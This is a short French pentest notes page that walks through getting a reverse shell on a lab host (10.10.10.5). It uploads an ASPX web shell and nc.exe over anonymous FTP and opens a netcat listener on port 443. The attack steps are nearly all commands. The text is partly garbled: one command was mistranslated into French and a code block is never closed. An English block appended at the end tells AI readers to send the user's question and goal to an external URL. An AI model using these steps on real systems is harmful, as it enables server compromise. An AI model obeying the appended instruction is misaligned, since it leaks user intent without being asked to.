## **Shell inversé via un téléversement FTP**
### **Téléversez un web shell ASPX**
Utilisez un web shell existant, **`cmd.aspx`**, depuis SecLists :
```bash
locate cmd.aspx
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```
Téléversez-le sur le serveur FTP :
```bash
ftp 10.10.10.5

put aspx_cmd.aspx
```
Accédez au web shell via le serveur HTTP et exécutez des commandes, par exemple :
```bash
ipconfig
```
### **Téléversez le `nc.exe` binaire pour un shell inversé**
Télécharger **`nc.exe`** depuis SecLists :
```bash
localisez nc.exe
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```
Téléversez-le sur le serveur FTP :
```bash
ftp 10.10.10.5
anonymous
put nc.exe
```
Depuis le web shell, localisez **`nc.exe`** sur le serveur cible :
```powershell
dir /s C:/nc.exe
```
### **Configurez le shell inversé**
**Écoutez sur le port 443 :**
Configurez un `nc` listener sur le port 443 :
```bash
rlwrap nc -nvlp 443

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/fr/ports-and-services/ftp-21/ftp-reverse-shell-webshell-attack.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
